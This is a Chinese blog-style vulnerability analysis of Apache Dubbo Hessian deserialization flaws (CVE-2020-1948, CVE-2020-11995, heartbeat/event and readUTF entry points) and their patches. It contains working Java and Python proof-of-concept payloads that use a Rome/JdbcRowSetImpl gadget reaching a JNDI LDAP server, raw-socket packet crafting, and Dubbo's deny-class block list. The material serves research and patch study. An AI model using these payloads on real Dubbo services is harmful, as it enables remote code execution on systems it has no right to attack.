Javaweb安全——Dubbo 反序列化(一)

这篇具有很好参考价值的文章主要介绍了Javaweb安全——Dubbo 反序列化(一)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Dubbo 反序列化(一)

Dubbo 基础

Apache Dubbo 是一款 RPC 服务开发框架。提供三个核心功能:面向接口的远程方法调用智能容错和负载均衡,以及服务自动注册和发现

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

节点角色

节点 角色说明
Provider 暴露服务的服务提供者
Consumer 调用远程服务的服务消费者
Registry 服务注册与发现的注册中心
Monitor 统计服务的调用次数和调用时间的监控中心
Container 服务运行容器

调用关系

  • 服务容器负责启动,加载,运行服务提供者。
  • 服务提供者在启动时,向注册中心注册自己提供的服务。
  • 服务消费者在启动时,向注册中心订阅自己所需的服务。
  • 注册中心返回服务提供者地址列表给消费者,如果有变更,注册中心将基于长连接推送变更数据给消费者。
  • 服务消费者,从提供者地址列表中,基于软负载均衡算法,选一台提供者进行调用,如果调用失败,再选另一台调用。
  • 服务消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

环境搭建

直接下载这个dubbo-samples-spring-boot然后idea打开,包含三个子模块:

  • demo: https://github.com/apache/dubbo-samples/tree/master/1-basic/dubbo-samples-spring-boot

  • 手册: https://cn.dubbo.apache.org/zh/docs3-v2/java-sdk/quick-start/spring-boot/

正常的话还需要一个注册中心,使用zookeeper:

  • 修改zoo_sample.cfg文件名为zoo.cfg
  • 运行zkServer.cmd即可启动Zookeeper
  • zookeeper 配置文件【zoo_sample.cfg】详解 这里直接用默认配置即可。

不过这里这个dubbo-samples-spring-boot的Demo中只做单元测试,用里面自带的EmbeddedZooKeeper类就行。

后面切换版本的时候子模块的pom.xml会报错,自行添加版本。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

Dubbo-RPC 基本概念

整体设计如下图:

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

  • Invocation 是请求会话领域模型,每次请求有相应的 Invocation 实例,负责包装 dubbo 方法信息为请求参数;
  • Invoker 是实体域,代表一个可执行实体,有本地、远程、集群三类;
  • Exporter 服务提供者 Invoker 管理实体;
  • Protocol 是核心层,也就是只要有 Protocol + Invoker + Exporter 就可以完成非透明的 RPC 调用。
  • Proxy 层封装了所有接口的透明化代理,而在其它层都以 Invoker 为中心,只有到了暴露给用户使用时,才用 Proxy 将 Invoker 转成接口,或将接口实现转成 Invoker。

服务提供者启动时,先创建相应选择的Protocol(协议对象),然后通过代理工厂创建Invoker对象,接着使用Protocol对Invoker进行服务注册至注册中心。Invoker 是由 Protocol 实现类构建而来,Dubbo 默认的 Protocol 实现类为DubboProtocol。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

请求解码

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

默认情况下 Dubbo 使用 Netty 作为底层的通信框架。Netty 检测到有数据入站后,首先会通过Codec解码器对数据进行解码,解码链路如下:

NettyCodecAdapter#getDecoder()
    ->NettyCodecAdapter$InternalDecoder#decode
         ->DubboCountCodec#decode
             ->DubboCodec#decode
                 ->ExchangeCodec#decode
             ->DubboCodec#decodeBody
...
MultiMessageHandler#received
    ->HeartbeatHadnler#received
        ->AllChannelHandler#received 
...
ChannelEventRunnable#run
    ->DecodeHandler#received
    ->DecodeHandler#decode
        ->DecodeableRpcInvocation#decode

看一下Codec2接口实现类的继承关系,DubboCountCodec 是对整个请求和响应的编解码。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

ExchangeCodec 负责处理 Dubbo 协议的请求头,而 DubboCodec 则是通过继承的方式,在其基础之上,添加了解析 Dubbo 消息体的功能。

org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter类中通过内部类的方式实现了解码和编码器,主要decode流程在org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode(org.apache.dubbo.remoting.Channel, org.apache.dubbo.remoting.buffer.ChannelBuffer, int, byte[])函数中。

先读取头数据,接着调用decodeBody()解码消息体。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

ExchangeCodec 中实现了 decodeBody 方法,但因其子类 DubboCodec 覆写了该方法,所以实际调用的是org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody方法。

protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
    // 获取消息头中的第三个字节,并通过逻辑与运算得到序列化器编号
    byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
    //选择 Serialization 对象,默认为 hessian2
    Serialization s = CodecSupport.getSerialization(channel.getUrl(), proto);
    // 获取调用编号
    long id = Bytes.bytes2long(header, 4);
    // 通过逻辑与运算得到调用类型,0 - Response,1 - Request
    if ((flag & FLAG_REQUEST) == 0) {
        // 对响应结果进行解码,得到 Response 对象
        .....................
    } else {
        Request req = new Request(id);
        req.setVersion(Version.getProtocolVersion());
        // 通过逻辑与运算得到通信方式,并设置到 Request 对象中
        req.setTwoWay((flag & FLAG_TWOWAY) != 0);
        // 通过位运算检测数据包是否为事件类型
        if ((flag & FLAG_EVENT) != 0) {
            // 设置心跳事件到 Request 对象中
            req.setEvent(Request.HEARTBEAT_EVENT);
        }
        try {
            Object data;
            if (req.isHeartbeat()) {
                // 对心跳包进行解码,后面攻击漏洞时会用到这里
                data = decodeHeartbeatData(channel, deserialize(s, channel.getUrl(), is));
            } else if (req.isEvent()) {
                // 对事件数据进行解码
                data = decodeEventData(channel, deserialize(s, channel.getUrl(), is));
            } else {
                // 解析报文数据
                DecodeableRpcInvocation inv;
                // 根据 url 参数判断是否在 IO 线程上对消息体进行解码
                if (channel.getUrl().getParameter(
                    Constants.DECODE_IN_IO_THREAD_KEY,
                    Constants.DEFAULT_DECODE_IN_IO_THREAD)) {
                    inv = new DecodeableRpcInvocation(channel, req, is, proto);
                    // 在当前线程,也就是 IO 线程上进行后续的解码工作。此工作完成后,可将
                    // 调用方法名、attachment、以及调用参数解析出来
                    // 2.7.8版本进行方法名限制的补丁位置
                    inv.decode();
                } else {
                    // 仅创建 DecodeableRpcInvocation 对象,但不在当前线程上执行解码逻辑
                    inv = new DecodeableRpcInvocation(channel, req,
                                                      new UnsafeByteArrayInputStream(readMessageData(is)), proto);
                }
                data = inv;
            }
            // 设置 data 到 Request 对象中
            req.setData(data);
		//..............
        return req;
    }
}

in = CodecSupport.deserialize(channel.getUrl(), is, proto);位置获取InputSteam数据转为ObjectInput,

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

根据id获取相应的反序列化实现,url.getParameter获取获取反序列化实现名称。最后判断编号为3、4、7或者编号取出的反序列化实现名称和服务提供者端配置的不一致,都会抛出异常。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

inv.decode();所调用的 DecodeableRpcInvocation#decode 方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息依次解析出来,并设置到相应的字段中,最终得到一个具有完整调用信息的 DecodeableRpcInvocation 对象。这个方法就是后面漏洞分析中readObject的入口处

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

调用服务

解码器将数据包解析成 Request 对象后,NettyHandler 的 messageReceived 方法紧接着会收到这个对象,并将这个对象继续向下传递。

NettyHandler#messageReceived(ChannelHandlerContext, MessageEvent)> AbstractPeer#received(Channel, Object)> MultiMessageHandler#received(Channel, Object)> HeartbeatHandler#received(Channel, Object)> AllChannelHandler#received(Channel, Object)> ExecutorService#execute(Runnable)    // 由线程池执行后续的调用逻辑

Dispatcher线程派发的部分这里就不多关注了,默认由 AllChannelHandler 处理,请求对象会被封装 ChannelEventRunnable 中。ChannelEventRunnable 仅是一个中转站,它的 run 方法中并不包含具体的调用逻辑,仅用于将参数传给其他 ChannelHandler 对象进行处理。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

DecodeHandler 是对请求体和响应结果的解码,比如在调用方法时会进入decode(((Request) message).getData())对 Request 的 data 字段进行解码。

这里会进入到DecodeableRpcInvocation#decode进行反序列化

DecodeHandler#received(Channel, Object)
  ->DecodeHandler#decode(Object)
    ->DecodeableRpcInvocation#decode()
      ->DecodeableRpcInvocation#decode(Channel, InputStream)

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

ChannelEventRunnable#run()> DecodeHandler#received(Channel, Object)> HeaderExchangeHandler#received(Channel, Object)> HeaderExchangeHandler#handleRequest(ExchangeChannel, Request)> DubboProtocol.requestHandler#reply(ExchangeChannel, Object)

经过上面的调用栈会入DubboProtocol 类中的匿名类对象ExchangeHandlerAdapter。其reply方法会获取 Invoker 实例,通过 Invoker 调用具体的服务。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

DubboProtocol#getInvoker方法中,通过与指定服务对应的暴露对象exporter 获取Invoker 实例。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

回到reply方法中,调用invoker.invoke(inv)方法进行方法调用,该方法定义在 AbstractProxyInvoker,其调用 doInvoke 执行后续的调用,doInvoke 是一个抽象方法,由具体的 Invoker 实例实现。

public Result invoke(Invocation invocation) throws RpcException {
    try {
        return new RpcResult(doInvoke(proxy, invocation.getMethodName(), invocation.getParameterTypes(), invocation.getArguments()));
        //......................
        
protected abstract Object doInvoke(T proxy, String methodName, Class<?>[] parameterTypes, Object[] arguments) throws Throwable;

服务引用,引用的是一个代理类。Invoker实例通过InvokerInvocationHandler包装,然后通过JavassistProxyFactory#getProxy生成代理类。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

> Filter#invoke(Invoker, Invocation)> AbstractProxyInvoker#invoke(Invocation)> Wrapper0#invokeMethod(Object, String, Class[], Object[])> DemoServiceImpl#sayHello(String)

Dubbo RPC协议

Dubbo协议格式如下:

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

  • Header(16 bytes)

    • Magic - Magic High & Magic Low (16 bits)

      标识协议版本号,Dubbo 协议:0xdabb

    • Req/Res (1 bit)

      标识是请求或响应。请求: 1; 响应: 0。

    • 2 Way (1 bit)

      仅在 Req/Res 为1(请求)时才有用,标记是否期望从服务器返回值。如果需要来自服务器的返回值,则设置为1。

    • Event (1 bit)

      标识是否是事件消息,例如,心跳事件。如果这是一个事件,则设置为1。

    • Serialization ID (5 bit)

      标识序列化类型:比如 fastjson 的值为6。

    • Status (8 bits)

      仅在 Req/Res 为0(响应)时有用,用于标识响应的状态。

    • Request ID (64 bits)

      标识唯一请求。类型为long。

    • Data Length (32 bits)

      序列化后的内容长度(可变部分),按字节计数。int类型。

  • Body(n bytes)

    • Variable Part

      被特定的序列化类型(由序列化 ID 标识)序列化后的RPC数据

Dubbo 协议中前 128 位是协议头,之后的内容是具体的负载数据。协议头就是通过 ExchangeCodec 实现编解码的。

ExchangeCodec 的核心字段有如下几个。

  • HEADER_LENGTH(int 类型,值为 16):协议头的字节数,16 字节,即 128 位。
  • MAGIC(short 类型,值为 0xdabb):协议头的前 16 位,分为 MAGIC_HIGH 和 MAGIC_LOW 两个字节。
  • FLAG_REQUEST(byte 类型,值为 0x80):用于设置 Req/Res 标志位。
  • FLAG_TWOWAY(byte 类型,值为 0x40):用于设置 2Way 标志位。
  • FLAG_EVENT(byte 类型,值为 0x20):用于设置 Event 标志位。
  • SERIALIZATION_MASK(int 类型,值为 0x1f):用于获取序列化类型的标志位的掩码。

Dubbo-Hessian

Dubbo默认是使用了Hessian2作为序列化和反序列化的工具。Hessian 是一种跨语言的高效二进制序列化方式。但Dubbo是阿里修改过的 Hessian lite。其默认反序列化器为JavaDeserializer,而官方的Hessian的默认序列化器是UnsafeSerializer。

反序列化时候UnsafeDeserializer先将二进制数据序列化成Map,然后再将Map转化成对象,而JavaDeserializer会新建一个对象然后再把属性设置进去。

而构造器及构造器的参数在当前 JavaDeserializer 实例化时会确定,会使用反射调用参数最少的那个构造函数生成对象。

com.alibaba.com.caucho.hessian.io.JavaDeserializer#JavaDeserializer

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

然后由com.alibaba.com.caucho.hessian.io.JavaDeserializer#getParamArg获取参数,只返回基本类型的参数值。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

比如rome反序列化链中的ObjectBean类。在dubbo中的Hessian lite中因为其参数最少的那个构造函数的两个参数都不是基本类型,导致getParamArg中获取为null所以无法正常实例化,导致反序列化失败。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

所以这里使用marshalsec中的Rome调用链直接由EqualsBean#hashCode => EqualsBean#beanHashCode

同理Rome二次序列化链中的SignedObject也没法被反序列化。dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

而且必须是Public的类才能被反序列化,不然会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

漏洞分析

这里主要先分析 hessian 和 http 相关的反序列化漏洞

CVE-2020-1948(<= 2.7.6)

  • Apache Dubbo 2.7.0 ~ 2.7.6
  • Apache Dubbo 2.6.0 ~ 2.6.7
  • Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

测试版本 Dubbo 2.7.3

参考[CVE-2020-1948] Apache Dubbo Provider default deserialization cause RCE有两种触发方法:

  • 通过反序列化参数时的HashMap.put方法触发;
  • 反序列化完成后,利用service不存在抛出异常输出时,隐式调用toString方法触发;
readObject

上面请求解码的部分提过DecodeableRpcInvocation#decode 方法中对反序列化获取参数列表,那如果传入的方法参数是个恶意对象,自然就可触发了。

修改dubbo-samples-spring-boot-consumer中的代码,加一个服务端不存在的方法,传入恶意对象进行调用。

@SpringBootApplication
@Service
@EnableDubbo
public class ConsumerApplication {
    @Reference
    private DemoService demoService;
    public static void main(String[] args) throws Exception {

        ConfigurableApplicationContext context = SpringApplication.run(ConsumerApplication.class, args);
        ConsumerApplication application = context.getBean(ConsumerApplication.class);

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:1389/irap0o";
        jdbcRowSet.setDataSourceName(url);
        Map expMap = makeMap(JdbcRowSetImpl.class,jdbcRowSet);
        application.sendPayload(expMap);
    }
    public Object sendPayload(Object name) {
        return demoService.sendPayload(name);
    }
    public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
        ToStringBean toStringBean = new ToStringBean(expectedClass, o);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        HashMap<Object, Object> expMap = new HashMap<>();
        setFieldValue(expMap, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "any", null));
        setFieldValue(expMap, "table", tbl);
        return expMap;
    }
}

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

上面的利用方式是要Provider端该service存在的情况,如果Dubbo找不到注册的service,consumer代理不能生成就会报错。

原因可参考:https://blog.csdn.net/lkforce/article/details/90479966

https://cloud.tencent.com/developer/article/1845311

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

后序列化利用

漏洞原作者的POC,还有一个使用的是任意不存在的service和method,导致Dubbo找不到注册的service而抛出异常,在抛出异常的时候触发漏洞。

原作者使用 python_EXP 修改了服务名,证明攻击不受该参数影响。

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
    'com.sun.rowset.JdbcRowSetImpl',
    dataSource="ldap://127.0.0.1:1389/irap0o",
    strMatchColumns=["foo"]
    )
JdbcRowSetImplClass=new_object(
    'java.lang.Class',
    name="com.sun.rowset.JdbcRowSetImpl",
    )
toStringBean=new_object(
    'com.rometools.rome.feed.impl.ToStringBean',
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )

resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    args=[toStringBean])

print(resp)

思路就是漏洞作者Java“后反序列化漏洞”利用思路这篇文章中提过的。

具体到这,在反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE,调用栈如下:

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
toString:4571, Arrays (java.util)
toString:241, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:266, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker到getInvoker这因为service不存在就会报错,

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

报错信息中的", message:" + inv这个inv是DecodeableRpcInvocation的实例对象,在这里在拼接字符串时候默认调用其toString方法,具体实现在其父类org.apache.dubbo.rpc.RpcInvocation

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

其中的argements就是ToStringBean的实例,跟入Arrays.toString(arguments)在这里调用ToStringBean#toString()触发。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

补丁

2.7.7版本中DecodeableRpcInvocation#decode(Channel, InputStream)中增加了一个判断,限制了RPC的方法名,不是指定方法的话会抛出异常。

https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

CVE-2020-11995(<= 2.7.7)

  • Dubbo 2.7.0 ~ 2.7.7
  • Dubbo 2.6.0 ~ 2.6.8
  • Dubbo 所有 2.5.x 版本

测试版本 Dubbo 2.7.7

针对后序列化利用的绕过,上面提到的2.7.7版本补丁RpcUtils.isGenericCallRpcUtils.isEcho中限制了方法名只能为$invoke$invokeAsync$echo。修改poc中调用的方法名即可。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

debug级别与invocation值

但是修改python版本的poc进行后反序列化攻击,则依旧无效。而在2.7.5之后的版本中throw RemotiyicngException部分进行了修改,可见inv多了一个getInvocationWithoutData方法包裹。

https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

DubboProtocol#getInvocationWithoutData方法中默认将inv对象的arguments参数设置为null,但如果系统配置log4j debug级别或者不配置任何其他级别,会直接返回invocation对象。所以在特定条件下还是可以利用成功的。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

补丁

https://github.com/apache/dubbo/commit/5ad186fa874d9f0dfb87b989e54c1325d39abd40

DecodeableRpcInvocation增加入参类型校验,只有参数类型合法才会继续进行反序列化操作。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

新的反序列化入口

心跳包解码

2.7.3 版本请求消息体的解码实现DubboCodec#decodeBody还有两个反序列化的地方,

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

2.7.5版本开始移除了decodeHeartbeatData部分

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

2.7.9 以及之后的版本HeartBeat直接返回null,上面的payload会进入decodeEventData进行解码

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

这两个地方判断逻辑都是依据mEvent属性

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

FLAG_EVENT 值为32

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

flag值获取自header[2] 且影响proto反序列化类型

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

decodeHeartbeatData(<= 2.7.4.1)

这里利用ExchangeCodec#decodeHeartbeatData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectInput)去反序列化数据

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

Hessian2ObjectInput#readObject(java.lang.Class<T>)

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

Hessian2ObjectInput对mH2这个对象进行了封装,后面就是正常的hessian序列化了。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

decodeBody方法中根据flag标志位,选择数据包类型进行解码。

添加头数据,修改Event位为 1 然后Socket连接发送反序列化数据。

public static void main(String[] args) throws Exception {
    //JDBC
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    String url = "ldap://127.0.0.1:1389/n44cbl";
    jdbcRowSet.setDataSourceName(url);
    Map expMap = makeMap(JdbcRowSetImpl.class,jdbcRowSet);

    //序列化
    ByteArrayOutputStream brr = new ByteArrayOutputStream();
    Hessian2Output output = new Hessian2Output(brr);
    output.writeObject(expMap);
    output.flush();
	//发送数据
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    // header.
    byte[] header = new byte[16];
    // set magic number.
    Bytes.short2bytes((short) 0xdabb, header);
    // set request and serialization flag.
    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
    // set request id.
    Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
    Bytes.int2bytes(brr.size(), header, 12);
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(brr.toByteArray());

    byte[] bytes = byteArrayOutputStream.toByteArray();

    //todo 此处填写被攻击的dubbo服务提供者地址和端口
    Socket socket = new Socket("127.0.0.1", 20880);
    OutputStream outputStream = socket.getOutputStream();
    outputStream.write(bytes);
    outputStream.flush();
    outputStream.close();
}
public static HashMap makeMap(Class expectedClass, Object o) throws Exception {
    ToStringBean toStringBean = new ToStringBean(expectedClass, o);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

    HashMap<Object, Object> expMap = new HashMap<>();
    setFieldValue(expMap, "size", 2);
    Class<?> nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    }
    catch ( ClassNotFoundException e ) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "any", null));
    setFieldValue(expMap, "table", tbl);
    return expMap;
}

这个payload的发送是在知道dubbo provider的ip和端口情况下,或者知道zoomkeeper的ip&port+一个目标的interface接口名称(提供正确的interface接口,可以借助zoomkeeper拿到目标的ip和port)

主要调用栈:

put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:85, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decodeHeartbeatData:413, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decodeBody:125, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)
decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)
decode:90, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)

decodeEventData(<= 2.7.8)

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

readUTF(<= 2.7.13)

在请求解码的部分中提过DecodeableRpcInvocation#decode 方法中通过反序列化将诸如 path、version、调用方法名、参数列表等信息进行读取,具体调用的就是readUTF方法。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

跟进Hessian2ObjectInput#readUTF方法

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

Hessian2Input#readString()方法通过获取tag位,进行相应的处理。当这里不是一个String类型的时候,将会抛出异常。

public String readString()throws IOException {
    int tag = read();
    switch (tag) {
        case 'N':
            return null;
            //....................
        default:
            throw expect("string", tag);

Hessian2Input#expect方法,进行默认的Hessian2反序列化

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

修改上面的payload中header部分即可

byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
//header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
header[2] = (byte) ((byte) 0x80 | 2);

主体调用栈如下:

put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
expect:3561, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
补丁

Apache Dubbo 2.7.9 版本限制了数据长度,Event包反序列化利用受限。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

Apache Dubbo 2.7.14版本升级到了 hessian_lite_version 3.2.11

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

https://github.com/apache/dubbo-hessian-lite/commit/15e85b01d51dbbd1981d1f311cd7eff4add1c67e

com.alibaba.com.caucho.hessian.io.ClassFactory中增加了super class 检查,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类。readUTF那的默认hessian反序列化利用受限。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

# dubbo-2.7.14-sources.jar!\DENY_CLASS 
禁止包命如下
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.beans.
java.rmi.server.
java.security.
javassist.bytecode.annotation.
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.apache.bcel.util.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

正则匹配
java\lang\ProcessBuilder
java\lang\Runtime
java\util\ServiceLoader
javassist\tools\web\Viewer
